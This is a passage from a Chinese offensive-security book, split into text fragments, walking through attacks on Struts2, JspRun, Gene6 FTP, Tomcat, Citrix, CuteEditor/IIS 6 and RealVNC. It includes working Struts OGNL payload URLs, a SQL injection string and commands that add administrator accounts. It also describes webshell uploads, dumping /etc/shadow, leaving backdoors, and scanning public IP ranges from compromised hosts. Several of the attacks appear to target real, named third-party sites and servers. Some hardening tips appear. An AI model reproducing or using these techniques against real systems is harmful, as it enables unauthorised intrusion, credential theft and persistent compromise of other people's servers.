    {"text": "图 8-97 查看已经被部署的 Web 应用 8.7 Struts s2-016 和 s2-017 漏洞利用实例 Struts 2.3.16 的下载地址为 http://struts.apache.org/downloads.html。 Struts 的最新漏洞为 s2-019， 可以直接查看其最新的漏洞细节，如图 8-98 所示。 Struts 2 曾经使国内很多大型网站沦陷，其漏洞的 修复比较困难。 Apache Struts 2 是一个应用框架，它的漏洞并不像 Windows 一样，及时将补丁推送 给用户，用户更新即可解决问题，而是需要站长或网站维护人员自己去更新。 Struts s2-016 漏洞的 产生原因是 Action 的值 redirect 和 redirectAction 没有正确过滤，导致可以执行任意代码，如系统命 令、上传/下载文件等。"},
    {"text": "Site 可以是“com”、“cn”、“org”和“ca”等，表示域名的最后属地，也即渗透测试的方向，“com.cn”、 “cn”和“org.cn”等都是中国的网站。"},
    {"text": "461 网络攻防实战研究：漏洞利用与提权 图 8-99 对测试目标进行检索 8.7.2 测试网站能否正常访问 在 Google 检索记录中随机选择一条记录进行查看。"},
    {"text": "图 8-100 测试网站是否正常 8.7.3 测试 Struts2 s2-016 漏洞 运行 Structs 2 漏洞利用工具，如图 8-101 所示，将 “ http://www.alliette.com.hk/index.action ” 复 制 到 Action 中，路径填写为“me.jsp”（路径可以自定义，自定义便 于隐藏和识别）。 文件内容使用 JSP 木马，也就是用“记 事本”打开该 JSP 木马文件，复制代码内容到文件内容 中，单击“开始”按钮进行实际漏洞测试，在“logs”文 本框中会提示漏洞测试情况，如果显示“getshell ok”， 则表示存在漏洞并成功上传 JSP 木马到当前目录，木马 访问地址为“漏洞利用 URL+路径”，在本例中为“http:// 图 8-101 测试网站是否存在漏洞 www.alliette.com.hk/ me.jsp”。 462 第 8 章 其他应用程序漏洞利用与提权 8.7.4 获取 WebShell 权限 在浏览器地址栏中输入 WebShell 的地址“http://www.alliette.com.hk/me.jsp”，如图 8-102 所示， 成功获取 WebShell 权限。"},
    {"text": "如 图 8-103 所示，获取的 WebShell 为服务器权限，后续测试工作就不再继续进行了。 图 8-102 获取 WebShell 权限 图 8-103 获取 WebShell 为服务器权限 8.7.5 总结与思考 本节介绍了 Structs 漏洞的具体利用方法，只要掌握了基础知识，通过漏洞利用工具可以快速渗 透存在漏洞的目标站点。"},
    {"text": "POC1 http://127.0.0.1/Struts2/test.action?('\\43_memberAccess.allowStaticMethodAcc ess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75f alse')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collection s@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d)) 463 网络攻防实战研究：漏洞利用与提权 POC2 http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStatic MethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b' POC3 http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAcces sor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAcc ess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang .Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true POC4 http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context% 5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(fal se)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40j ava.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')] POC5（执行了 2 次，所以是 10 秒） http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMe thodAccess%22]=true,@java.lang.Thread@sleep(5000)} 执行 cmd 命令的 POC，将回显“webStr\\75new\\40byte[100]”修改为合适的长度，具体如下。"},
    {"text": "这是一 个经过完善设计的、适用于各种服务器环境的高效的论坛系统解决方案，Struts、Hibernate 框架及中 间件的结合既实现了业务逻辑与控制逻辑的有效分离，提高了层次结构的清晰度，提高了复用的粒 度，降低了开发和维护的代价，又保证了软件的质量，使其更具有鲁棒性和可维护性。"},
    {"text": "8.8.1 进入系统后台 登录后台成功后，单击“论坛管理”选项进入系统设置首页，如图 8-104 所示。 JspRun 论坛程 序可以直接输入后台管理地址（http://www.somesite.com/admincp.jsp）进行登录，这与 Discuz! 论坛 465 网络攻防实战研究：漏洞利用与提权 管理系统稍有区别。"},
    {"text": "图 8-104 进入后台设置界面 8.8.2 新增模板 在系统设置首页中，单击“模板编辑”选项，可以看到系统默认的 5 套模板，分别是默认模板 套系、喝彩奥运、深邃永恒、粉状精灵和 2008year。"},
    {"text": "新增一套模板，模板名称可以随意取，在本例 中取名为“111”，所在目录设置为已经存在的目录“./include”，然后单击“提交”按钮完成模板的 编辑，如图 8-105 所示。"},
    {"text": "图 8-105 创建模板 466 第 8 章 其他应用程序漏洞利用与提权 8.8.3 在模板中创建文件 在“模板维护”设置区可以看到显示为绿色的“jsprun_version”及“test”模板，单击项目可以 进行编辑，也可以新增模板文件。"},
    {"text": "如图 8-106 所示，输入模板名称“shell”，单击“提交”按钮，并 在“shell”模板文件中粘贴“shell”文件中的代码，保存后即可获取 Shell。 图 8-106 新增模板文件 8.8.4 测试并访问 Shell Shell 地址与模板目录有关，地址为“网站地址+模板目录+模板文件名”，如图 8-107 和图 8-108 所示，本例中 Shell 的地址为“http://www.somesite.com/include/shell.php”。"},
    {"text": "图 8-107 Shell 文件的真实地址 467 网络攻防实战研究：漏洞利用与提权 图 8-108 获取 WebShell 8.8.5 JspRun 论坛的其他相关漏洞 根据网上公布的漏洞线索，JspRun 论坛管理后台的 export 变量没有被过滤，可直接进入查询语 句，进而进入后台并操作数据库，获取系统权限。"},
    {"text": "String export = request.getParameter(\"export\"); //直接获取，没有安全过滤 if(export!=null){ List<Map<String,String>> styles=dataBaseService.executeQuery(\"SELECT s.name, s.templateid, t.name AS tplname, t.directory, t.copyright FROM jrun_styles s LEFT JOIN jrun_templates t ON t.templateid=s.templateid WHERE styleid='\"+export+\"'\"); //进入查询语，执行了... if(styles==null||styles.size()==0){ 测试方法如下。"},
    {"text": "http://www.somesite.com/admincp.jsp?action=styles&export=1' and 1=2 union select 1,2,3,4,user()-- and ''=' 笔者对 JspRun 论坛 2010 版本的程序进行实际测试，在测试过程中遇到两种情况：一种情况是 提示用户无管理权限，拒绝执行；"},
    {"text": "图 8-109 style 文件的内容 468 第 8 章 其他应用程序漏洞利用与提权 8.8.6 总结与思考 在 Windows 及 Linux 平台上搭建的 JspRun! 论坛程序，如果权限设置不严格，攻击者可以较为 容易地拿到最高的系统权限，也即通过 WebShell 直接添加用户或者执行 system 命令。"},
    {"text": "8.9 Gene6 FTP Server 本地提权 在实际渗透测试过程中，笔者碰到一个目标服务器上安装了 Gene6 FTP Server，且获取了该服务 器上某个网站的 WebShell 的情况。"},
    {"text": "Gene6 FTP Server 是一个基于 Windows 操作系统开发的安全、高效的高级 FTP 服务器软件，它 不仅可靠，而且具有很强的可控性，支持远程管理、128 位 SSL 加密的数据连接，使用非常方便。 Gene6 FTP Server 优良的性能及平易近人的价格使它不仅能应付高负载下的文件传输服务器，对于追 求高可靠性、强定制性和易管理性的企业服务器也是很好的选择。 其最新版本为 Gene6 FTP Server 3.10.0.15，官方网站地址为 http://www.g6ftpserver.com/。 Gene6 FTP Server 是一款非常流行的 Windows 平台的 FTP Server，默认安装后，本地的非特权用 户可以修改 Gene6 FTP Server 的设置，如添加新的 site 命令。"},
    {"text": "z Gene6 G6 FTP Server 3.4 z Gene6 G6 FTP Server 3.3.1 z Gene6 G6 FTP Server 3.3 z Gene6 G6 FTP Server 3.2 z Gene6 G6 FTP Server 3.1 z Gene6 G6 FTP Server 3.0.2 z Gene6 G6 FTP Server 3.0.1 z Gene6 G6 FTP Server 3.0 z Gene6 G6 FTP Server 2.0 8.9.1 通过互联网获取漏洞的利用信息 笔者获取了一个对该漏洞的利用方法（http://www.51cto.com/art/200508/5263.htm），具体如下。"},
    {"text": "469 网络攻防实战研究：漏洞利用与提权 ---cut here ------------------------- net user abc /add net localgroup administrators abc /add ---cut here ------------------------- ⑤ 将 ABC.bat 映射到新建的 site 命令，如 ABC。"},
    {"text": "8.9.2 修改 user 配置参数获取本地服务器权限 1．搭建 FTP Server 服务器 在本地安装 Gene6 FTP Server 3.4，安装完成后设置一个域，并建立一个普通账号“test”，密码 为“test”，如图 8-110 所示。 在实际渗透测试过程中，可以通过 WebShell 读取“c:\\Gene6 FTP Server\\ Accounts\\test\\users\\”user 账号下的*.ini 文件，如本例中的 test.ini 文件。 图 8-110 搭建 Gene6 FTP Server 测试环境 2．修改配置参数 找到 test.ini 文件，如图 8-111 所示，在其中加入如下语句。"},
    {"text": "SiteCommandList0=-1,hack,C:\\RECYCLER\\1.bat,0,60,0,0,hack z “C:\\RECYCLER\\1.bat”为需要执行的批处理，可以根据实际需要，将“1.bat”文件换成远 控木马。"},
    {"text": "z “SiteCommandList”是配置文件指令，支持在 site 命令后面添加“0”、“1”、“2”、“3”以区 470 第 8 章 其他应用程序漏洞利用与提权 别不同的命令。 如果 INI 文件中已经有“SiteCommandList0”指令了，那么我们再添加时就 需要修改为“SiteCommandList1”了。"},
    {"text": "图 8-111 修改用户参数文件 3．添加执行批处理文件或者木马程序 如图 8-112 所示，到“C:\\RECYCLER”目录下新建一个批处理文件“1.bat”，其内容为添加一个 管理员用户。"},
    {"text": "图 8-112 添加批处理执行文件 471 网络攻防实战研究：漏洞利用与提权 4．登录 FTP 并执行命令 使用命令“ftp 服务器 IP 地址”进行登录测试，在本例中，执行“ftp 192.168.121.186”。"},
    {"text": "在登录 提示出现后，输入用户名“test”和密码“test”后，再执行“quote site hack”命令，即可在服务器 上添加一个管理员用户 hack，使用命令“net localgroup administrators”查看该服务器上所有管理员， 如图 8-113 和图 8-114 所示，成功获得服务器管理员权限。 图 8-113 登录 FTP 并执行命令 图 8-114 成功添加管理员用户 hack 5．FTP 密码为 MD5 加密 打开 test.ini 文件，在其中可以看到其密码采用 MD5 加密，如图 8-115 所示，将加密值复制到 cmd5 网站可以直接进行破解。 6．FTP 管理员提权 对于 FTP 管理员提权，实际利用没有测试过，其思路 主要就是通过破解其管理员密码，然后通过 LCX 进行本地 端口转向，并进行连接。 对于 FTP 端口不是 21 端口的情况， 命令为“open 127.0.0.1 8021”，这个命令需要在 FTP 提示 符下执行，也即先运行 FTP 命令。 图 8-115 FTP 用户密码为 MD5 加密 8.9.3 漏洞修复和加固方法 建议升级当前 Gene6 FTP Server 到最新版本 Gene6 FTP Server 3.10.0.15，或者对程序进行降权处 理，对 user.ini 文件进行严格的权限处理，即仅允许读取，不允许修改配置文件。 8.10 通过 Tomcat 弱口令提取某 Linux 服务器权限 对运行 JSP 服务器的渗透方法与其他脚本的渗透方法稍有不同，JSP 网站一般需要通过 WAR 文 件部署程序，对这类网站的渗透，可以通过暴力破解 Tomcat 用户密码及 MySQL、Oracle 数据库密 码等方法获取 WebShell。"},
    {"text": "8.10.1 使用 Apache Tomcat Crack 暴力破解 Tomcat 口令 1．设置 IP 地址 在起始 IP 地址中输入“216.84.0.1”，在终止 IP 地址中输入“216.120.0.1”，单击“添加”按钮， 472 第 8 章 其他应用程序漏洞利用与提权 将该地址段添加到扫描地址段中，如图 8-116 所示，其他使用默认设置。 图 8-116 暴力破解 Tomcat 口令 2．对扫描结果进行测试 在扫描结果中选择“http://216.86.144.162:8080/manager/html”，然后进行登录测试，如图 8-117 所示，单击“Tomcat Manager”选项进行登录测试，输入用户名和密码进行登录。 图 8-117 对扫描结果进行测试 8.10.2 部署 WAR 格式的 WebShell 1．上传 WAR 文件 进入 Tomcat Manager 管理后台后，到最下方进行 WAR 文件的部署。"},
    {"text": "图 8-118 部署 war 格式的 WebShell 图 8-119 查看 Web 部署情况 3．获取 WebShell 在部署时尽量将 JSP 文件命名为“index.jsp”，这样在部署成功后访问部署的链接即可，否则需 要使用“部署文件夹+具体的 WebShell 名称”才能正确访问 WebShell 地址，如图 8-120 所示。 图 8-120 获取 WebShell 4．查看用户权限 在 WebShell 中单击“系统命令”选项，进入执行命令界面。"},
    {"text": "图 8-122 上传 WebShell 8.10.3 获取系统加密的用户密码 1．获取系统 shadow 值 执行“cat /etc/shadow”命令，获取当前 Linux 系统中所有用户的加密密码值，如图 8-123 所示， 该密码采用 MD5 加密，可以通过 cmd5 网站进行破解。"},
    {"text": "2．获取 root 用户的历史操作记录 执行“cat /root/.bash_history”命令查看 root 用户的历史操作记录，只有具有 root 用户权限才能 查看该历史记录文件，如图 8-124 所示。"},
    {"text": "3．查看该网站域名的情况 使用“www.yougetsignal.com”网站的反查 IP 域名功能，获取该 IP 地址的两个域名，分别是 “communityaccesssystems.com”和“richardliggitt.com”，如图 8-125 所示，单击该域名查看域名能否 正常访问。"},
    {"text": "475 网络攻防实战研究：漏洞利用与提权 图 8-123 获取系统用户密码加密值 图 8-124 查看 root 用户的历史操作记录 图 8-125 查看该网站域名的情况 476 第 8 章 其他应用程序漏洞利用与提权 4．获取该网站的真实路径 通过查看/etc/passwd 文件中的网站用户获取网站的真实路径。"},
    {"text": "图 8-127 保留网站后门 8.10.4 总结与思考 本节介绍了如何通过 Apache Tomcat Crack 暴力破解 Tomcat 口令，只要知道用户的名称，就能通 过字典对目标进行暴力破解。"},
    {"text": "z 服务器端 ICA 软件：将应用程序的执行和显示逻辑分开，应用程序完全在服务器上运行， 并通过标准的网络协议（TCP/IP、SPX、IPX、NETBEUI、NWLINK）将显示界面传送给 客户端。 z 客户端设备上的 ICA 软件：一方面接收显示界面，另一方面向服务器发送鼠标移动和键盘 击键动作信息，对服务器上的应用程序进行操作。"},
    {"text": "8.11.2 Citrix 的工作方式 Citrix 主要有 Citrix MetaFrame 和 Citrix NFuse/Citrix 安全网关两种工作方式。 z Citrix MetaFrame 有 XPs、XPa 及 XPe 共 3 个版本，适合在不同的环境使用。"},
    {"text": "不过在安装过程中需要注意一点：在选择客户端时只选择安装“Program Neighborhood”，不安装“Web 客户端”和“Program Neighborhood Agent”，如图 8-128 所示。"},
    {"text": "图 8-128 选择客户端 478 第 8 章 其他应用程序漏洞利用与提权 2．搜索 ICA 文件 使用 Citrix Presentation Server 客户端连接 Citrix 服务器主要通过读取 ICA 配置文件来实现。"},
    {"text": "很 多 Citrix 服务器在配置完毕后会将 ICA 文件放到网上供下载使用。 也有一些 Citrix 服务器在配置后 不会将 ICA 文件放在网上，不过用户只要获取正确的 ICA 文件即可进行连接。"},
    {"text": "获取 ICA 文件最简单、最方便的方法就是通过搜索引擎获取。 直接打开浏览器，在 Google 的搜索框中输入“Filetype:ica”，搜索 ICA 文件，搜索结果如图 8-129 所示。 图 8-129 搜索 ICA 文件 3．下载 ICA 文件 在搜索结果中任意选择一条记录，将其指向的 ICA 文件保存到本地。"},
    {"text": "保存 ICA 文件的目的就是 在本地进行查看，如图 8-130 所示，在 ICA 文件中可以看到 WFClient、ApplicationServer、Route Clearing DB、EncRC5-0、Compress 共 5 个参数。"},
    {"text": "在权限管理不 严格的 Citrix 服务器中，如果将 InitialProgram 参数的值改成“cmd.exe”或“explorer.exe”，连接 Citrix 服务器后就可以直接调出远程服务器上的命令提示符或者资源管理器了。 479 网络攻防实战研究：漏洞利用与提权 4．直接打开 ICA 文件 Citrix Presentation Server 客户端正确安装后，默认打开后缀为 .ica 的文件。 也可以直接单击网页 中的 ICA 文件链接地址，打开 Citrix 连接提示框。"},
    {"text": "在连接过程中会给出一些提示，如果服务器、客 户端及参数相匹配，则会出现登录警告等提示信息，如图 8-131 所示。 图 8-131 登录警告提示信息 在测试过程中，会有很多 ICA 文件被提示为无效的或者过时的，有的文件虽然会出现连接提示 信息，但由于协议不匹配，也无法成功连接。"},
    {"text": "z Shift+F1：打开本地任务列表。 z Shift+F2：切换标题栏。 z Shift+F3：关闭远程应用程序。 480 第 8 章 其他应用程序漏洞利用与提权 z Ctrl+F1：显示 Windows 安全桌面，相当于本地快捷键“Ctrl+Alt+Del”。 z Ctrl+F2：打开远程任务列表。 z Ctrl+F3：打开远程任务管理器，相当于本地快捷键“Ctrl+Shift+Esc”。 z Alt+Minus：在各个任务之间切换，相当于本地快捷键“Alt+Shift+Tab”。"},
    {"text": "在出现确定的连接后，使用快捷键“Ctrl+F3”打开远程任务管理器，如图 8-133 所示。 图 8-133 打开远程计算机上的任务管理器 6．进入远程 Citrix 服务器 在上一步笔者进入了一台日文的 Citrix 服务器，很多内容看不懂，于是换了一台英文的服务器 进行测试。 通过快捷键“Ctrl+F3”打开远程计算机上的任务管理器，然后在任务管理器中依次单击“文件” →“新建任务”→“打开”选项，在其中输入“cmd.exe”或“Explorer”，直接打开命令提示符或者 资源管理器窗口。"},
    {"text": "图 8-134 通过新建任务进入远程 Citrix 服务器 481 网络攻防实战研究：漏洞利用与提权 8.11.4 总结与思考 1．修改参数失效 在下载的 ICA 文件中，有些时候通过修改参数 InitialProgram 的值即可顺利进入远程服务器。 但 是，有些 ICA 文件在修改该值后，连接 Citrix 服务器时要求输入用户名和密码，在没有获取用户名 和密码的情况下基本无法进入。 2．具有执行程序权限却很难提权 通过 ICA 文件连接，使用快捷键绕过密码验证后，虽然能够使用计算机中的资源执行部分或者 全部程序，但由于权限限制，如果登录的用户没有获得 administrator 权限，则服务器提权成功很难。"},
    {"text": "Citrix 的更多漏洞可以参考 http://secunia.com/advisories/search/?search=citrix。 3．Citrix 服务器的一些安全配置方法 现将 Citrix 服务器的安全配置方法总结如下。"},
    {"text": "z 建立一个组，把所有 Citrix 用户放到这个组里，禁止它们访问 cmd.exe、ftp.exe、tftp.exe、 rcp.exe、net.exe、command.com、iexplorer.exe 等可能对系统有危害的程序和文件（在安全与 应用的平衡之间作出选择）。"},
    {"text": "8.12 从 CuteEditor 漏洞利用到全面控制服务器 网络渗透测试就是利用所有的手段进行测试，发现和挖掘系统中存在的漏洞，然后撰写渗透测 试报告，将其提供给客户；"},
    {"text": "8.12.1 初步的安全渗透测试 1．漏洞扫描 打开 JSky Web 漏洞扫描器，新建一个扫描任务，输入要扫描的地址“http://www.*****.com”， 然后开始进行扫描。"},
    {"text": "482 第 8 章 其他应用程序漏洞利用与提权 图 8-135 使用 JSky 扫描网站 2．测试网站目录访问 将地址“http://www.xxxxxxx.com/admin”复制到 IE 浏览器的地址栏中进行测试，看看能否实际 访问该地址。"},
    {"text": "图 8-136 测试页面是否存在 说明 对存在的目录进行实际访问，主要是看系统是否存在一些报错等提示信息，然后可以对这些信 息再次进行分析和利用，为渗透提供一些判断和支持。"},
    {"text": "3．使用社会工程学进行登录测试 在如图 8-136 所示页面的“用户名”文本框中输入“admin”，在“密码”文本框中输入一些常 见的密码进行测试，进入系统，如图 8-137 所示。"},
    {"text": "483 网络攻防实战研究：漏洞利用与提权 图 8-137 成功进入后台 4．寻找突破口 整个系统一共有 6 个模块，对各个功能模块进行查看，发现很多模块的功能都是相同的。"},
    {"text": "进行渗透测试时，如果正向行不通，可以采用一些迂回战术，从侧面进行，如采用旁 注等间接的方法。 484 第 8 章 其他应用程序漏洞利用与提权 图 8-139 修改管理员密码 8.12.2 旁注渗透测试 在进行渗透测试时，如果从正面走不通，就可以采用一些迂回战术，从侧面来进行，也就是采 用一些间接的方法，例如旁注。"},
    {"text": "1．获取该网站所在服务的所有其他域名 在 IE 浏览器的地址栏中输入“http://www.ip866.com/reverse.aspx?domain=www.rain**.com”，打 开“反查域名”页面，单击“点这里反查全部相关域名”选项，如图 8-140 所示，在该服务器中一 共有 9 个域名。"},
    {"text": "图 8-140 查询域名绑定情况 2．扫描漏洞 任选服务器中的一个域名，在 JSky 中进行扫描，如图 8-141 所示，出现了 8 个 SQL 注入点—— 对于渗透测试人员来说，没有什么是比发现有漏洞更为高兴的事情了。 485 网络攻防实战研究：漏洞利用与提权 图 8-141 获取 SQL 注入点 3．SQL 注入手工测试 在扫描结果的 SQL 注入点列表中选择一个地址，在浏览器中打开，并手工加入一些测试 SQL 注入点的代码，结果出现如图 8-142 和图 8-143 所示的防注入提示和记录信息。 图 8-142 系统使用了 Flashack 防注入系统 图 8-143 防注入记录系统 486 第 8 章 其他应用程序漏洞利用与提权 4．获取数据库类型 继续测试，将 ID 值换成一个“数字+字母”类型的值，结果出现数据库出错提示。"},
    {"text": "图 8-144 通过出错信息获取网站数据的类型 说明 现在很多防注入系统都对 and、exe 等关键字进行了过滤，但对传入值的范围并没有进行严格的 限制，因此，可以通过变换值出错获取一些信息。"},
    {"text": "图 8-145 使用 Pangolin 进行 SQL 注入测试 487 网络攻防实战研究：漏洞利用与提权 看来旁注等方法均不可行，无法进一步获取权限，只能通过前面获取的权限想办法了。"},
    {"text": "8.12.3 通过 CuteEditor 上传获得突破 由于 IIS 6.0 中存在一个文件解析路径漏洞，当文件夹名类似“xxx.asp”时（即文件夹名看起来 像一个 ASP 文件的文件名），此文件夹下文本类型的文件都可以在 IIS 中被当做 ASP 程序执行。"},
    {"text": "<configuration> <security name=\"RestrictUploadedImageDimension\">false</security> <security name=\"OverWriteExistingUploadedFile\">false</security> <security name=\"AutoResizeUploadedImages\">true</security> <security name=\"MaxImageWidth\">1024</security> <security name=\"MaxImageHeight\">768</security> <security name=\"MaxImageSize\">1000</security> <security name=\"MaxMediaSize\">100</security> <security name=\"MaxFlashSize\">100</security> <security name=\"MaxDocumentSize\">10000</security> <security name=\"MaxTemplateSize\">1000</security> <security name=\"ImageGalleryPath\">~/uploads</security> <security name=\"MediaGalleryPath\">~/uploads</security> <security name=\"FlashGalleryPath\">~/uploads</security> <security name=\"TemplateGalleryPath\">~/templates</security> <security name=\"FilesGalleryPath\">~/uploads</security> <security name=\"MaxImageFolderSize\">102400</security> <security name=\"MaxMediaFolderSize\">102400</security> <security name=\"MaxFlashFolderSize\">102400</security> <security name=\"MaxDocumentFolderSize\">102400</security> <security name=\"MaxTemplateFolderSize\">102400</security> <security name=\"ThumbnailWidth\">80</security> <security name=\"ThumbnailHeight\">80</security> <security name=\"ThumbnailColumns\">5</security> <security name=\"ThumbnailRows\">3</security> <security name=\"AllowUpload\">true</security> <security name=\"AllowModify\">true</security> <security name=\"AllowRename\">true</security> <security name=\"AllowDelete\">true</security> <security name=\"AllowCopy\">true</security> <security name=\"AllowMove\">true</security> <security name=\"AllowCreateFolder\">true</security> <security name=\"AllowDeleteFolder\">true</security> </configuration> 从上面的代码中可以看出，如果用户具有管理员权限，就可以建立目录，也就是说，在某种情 况下，完全可以利用 IIS 文件目录解析漏洞获得 WebShell。"},
    {"text": "488 第 8 章 其他应用程序漏洞利用与提权 1．打开媒体上传窗口 直接在使用该编辑器的网页中单击用于插入媒体的按钮，打开如图 8-146 所示的“Insert Media” 对话框。"},
    {"text": "图 8-146 打开“Insert Media”对话框 2．新建 simeon.asp 文件夹 在“Insert Media”对话框中可以发现一个用于新建文件夹的图标，如果该图标是灰色的，那我 们就无能为力了。 如图 8-147 所示，新建一个名为“simeon.asp”的文件夹，文件夹创建成功后如 图 8-147 所示。 图 8-147 新建 simeon.asp 文件夹 489 网络攻防实战研究：漏洞利用与提权 图 8-148 成功创建 simeon.asp 文件夹 3．上传测试和木马文件 单击“simeon.asp”文件夹图标，进入该文件夹，然后上传一个 HTML 文件。"},
    {"text": "图 8-149 上传测试和木马文件 注意 z 在 CuteEditor 中，ImageFilters 负责对图片进行过滤，仅允许上传 JPG、JPEG、GIF 和 PNG 文件，在 admin.config 中进行配置。 z 在 CuteEditor 中，MediaFilters 负责对媒体进行过滤，仅允许使用 AVI、MPG、MPEG 和 MP3 4 种媒体文件，也是在 admin.config 中进行配置。 z 在 CuteEditor 中，DocumentFilters 负责对所有的文件类型进行过滤。"},
    {"text": "4．连接测试 ASP.NET 的一句话木马 在本地打开 ASP.NET 一句话木马客户端，输入连接地址和密码，出现如图 8-150 所示的错误。 490 第 8 章 其他应用程序漏洞利用与提权 图 8-150 ASP.NET 一句话木马运行出错 5．使用 ASP 一句话木马 上传一个包含一句话木马的 Flash 文件，如图 8-151 所示，进行连接测试，最终成功连接。 在后 面的测试中，笔者还发现其执行效果不太好，这可能是 IIS 6.0 对以 ASP 文件命名的文件夹解析半对 半错导致的。 图 8-151 成功得到一个一句话 WebShell 8.12.4 提升权限 1．查看网站文件路径 在 Function 中选择“File List”模块，然后分别查看 C、D、E 盘，如图 8-152 所示，发现网站目 录就在 E 盘下。 图 8-152 获取网站根目录路径 491 网络攻防实战研究：漏洞利用与提权 2．复制文件 在一句话 ASP 中，通过测试发现可以复制文件。 将上传到“simeon.asp”文件夹中的大马复制 到网站根目录下，如图 8-153 所示，复制成功，这也是能够成功渗透服务器的关键。"},
    {"text": "图 8-154 执行免杀大马 4．使用 Serv-U 提升权限 通过该 WebShell 对服务器进行挖掘，发现服务器上安装了 Serv-U，路径是在 D 盘的程序目录 下。 直接单击 WebShell 左边菜单中的“Serv-U 提权”选项，在如图 8-155 所示的窗口中单击“提交” 按钮，默认直接添加一个用户名为“user13$”、密码为“pass13”的具有管理员权限的账户。"},
    {"text": "cmd /c net user user13$ ***** /add & net localgroup administrators user13$ /add 5．查看提权情况 上传一个 WebAdmin 2.x 的 ASPX 的 WebShell，在“Command”文本框中输入“net localgroup administrators”，单击“Run”按钮，查看系统管理员组的用户情况，如图 8-156 所示，已经成功添加 用户。 492 第 8 章 其他应用程序漏洞利用与提权 图 8-155 将管理员账号添加到系统中 图 8-156 成功添加用户到管理员组 6．成功进入远程桌面 通过 WebShell 找到对方服务器开放 3389 的修改后端口 8080，在本地打开远程终端连接器，输 入“www.xxxx.com:8080”进行连接，如图 8-157 所示，成功进入对方桌面。"},
    {"text": "z 对于那些允许注册账号的网站来说，在编写网站程序的时候，为了管理方便，程序员通常会 以注册的用户名为名称建立一个文件夹，用以保存该用户的数据，如图片、文字等。"},
    {"text": "攻击者 就是利用这一特点，在网站注册一个以“.”或者“.cer”等后缀作为用户名的账号，然后通 过把含有木马的 ASP 文件的“.asp”后缀改成“.jpg”等方法，把文件上传到服务器，由于 IIS 6.0 存在漏洞，所以 JPG 文件可以通过 IIS 6.0 运行，木马也随着运行，达到了攻击网站 的目的。"},
    {"text": "这种情况下，可以由程序员对注册用户名称进行限制，排除带有“*.asp”、“*.asa” 等字符为名的注册名，加强网站自身的安全和防范措施。"},
    {"text": "很多网站都允许用户上传一定数量的图片、Flash 等，很多时 候，网站开发人员为了日后管理方便，会将用户上传的文件统一放到一个指定的文件夹中， 网站管理员只要将该文件夹的执行权限设置成“无”，就可以在一定程度上对漏洞进行预防。"},
    {"text": "z 网站的管理员密码的安全性不能太低，如果通过一些简单的猜测就能破解，那么即使程序本 身和网站系统没有漏洞，也会导致整个系统的崩溃。"},
    {"text": "8.13 利用 VNC 认证口令绕过漏洞进行渗透 RealVNC（简称 VNC）有免费版、个人版及企业版 3 个版本，它与 pcAnywhere 远程控制软件 的功能类似，也是一款世界知名的跨平台远程控制软件，其 4.1.1 以前的版本均存在 RealVNC 远程 认证绕过漏洞。 RealVNC 采用 RFB（远程帧缓冲区）协议允许客户端与服务端协商合适的认证方法，但协议的 实现上存在设计错误，远程攻击者可以绕过认证，无须口令实现对服务器的访问。"},
    {"text": "RealVNC 分为客户端和服务器端，只要知 道服务端的 IP 地址、服务开放端口及访问口令即可完全实施控制，其服务端的默认端口为 5900。 本案例通过 VNC 漏洞利用工具直接扫描开放 5900 端口的计算机，该工具在扫描过程中可以 自动识别 RealVNC 远程认证绕过漏洞，并将扫描结果保存在 VNC_bypauth.txt 文件中。"},
    {"text": "通过本案例 494 第 8 章 其他应用程序漏洞利用与提权 读者可以了解 VNC 密码验证绕过漏洞，学会如何利用 VNC 密码验证绕过漏洞利用工具软件溢出存 在漏洞的计算机。"},
    {"text": "在本例中，对 64.141.178.98-64.255.255.255 网段进行扫描的命令为“vnc -i 64.141.178.98-64.255. 255.255 -p 5900 -vnc”，如图 8-158 所示，输入命令后按“回车”键开始扫描。"},
    {"text": "VNC 会继续在肉机上进行扫描，扫描时会提示扫描的 IP 地址数、比例及扫描所花费的时间 等，如图 8-159 所示。 图 8-159 扫描情况 vnc.exe 扫描完成以后会在当前扫描目录中生成扫描结果文件 VNC_bypauth.txt，该文件会记录开 495 网络攻防实战研究：漏洞利用与提权 放了 5900 端口的 IP 地址及 VNC 的状态，如图 8-160 所示。"},
    {"text": "图 8-160 5900 端口的扫描结果 8.13.2 整理开放 5900 端口的 IP 地址 使用 UltraEdit 编辑器编辑 VNC_bypauth.txt，过滤存在“:5900 vnc4:VULNERABLE”的 IP 地址， 如图 8-161 所示。"},
    {"text": "图 8-161 整理 IP 地址 技巧 使用 UltraEdit 的“替换”和“清除行后空格”功能，可以快速整理扫描后的 VNC_bypauth.txt 文件。 496 第 8 章 其他应用程序漏洞利用与提权 8.13.3 整理扫描批处理命令 在扫描结果文件 VNC_bypauth.txt 中替换字符串“:5900 vnc4:VULNERABLE”，并去掉行尾的空 格。 使用 UltraEdit 的“块选”功能，在 IP 地址前面加入 link 命令，编辑后将文件另存为 59-vnc.txt， 如图 8-162 所示。 图 8-162 编辑 VNC 连接批处理命令 说明 在 link 命令与 IP 地址之间要留一个空格，否则执行命令时会出现错误。 8.13.4 使用 VNC 连接器 Link 进行连接 全部选中并复制 59-vnc.txt 文件中的所有内容，然后在 DOS 窗口单击右键，在弹出的快捷菜单中 选择“粘贴”命令，执行 VNC 连接批处理命令，在 DOS 窗口中会弹出 VNC 连接成功、VNC 连接 失败或者要求重新连接的对话框，如图 8-163 所示。 图 8-163 VNC 连接结果 497 网络攻防实战研究：漏洞利用与提权 8.13.5 处理连接结果 在执行批处理时，由于 IP 地址限制等原因，可能存在无法正常连接 VNC 服务器的情况，有时 可能需要输入密码。 关闭无法连接或者需要密码进行连接的 VNC 服务端，保留可以直接查看的 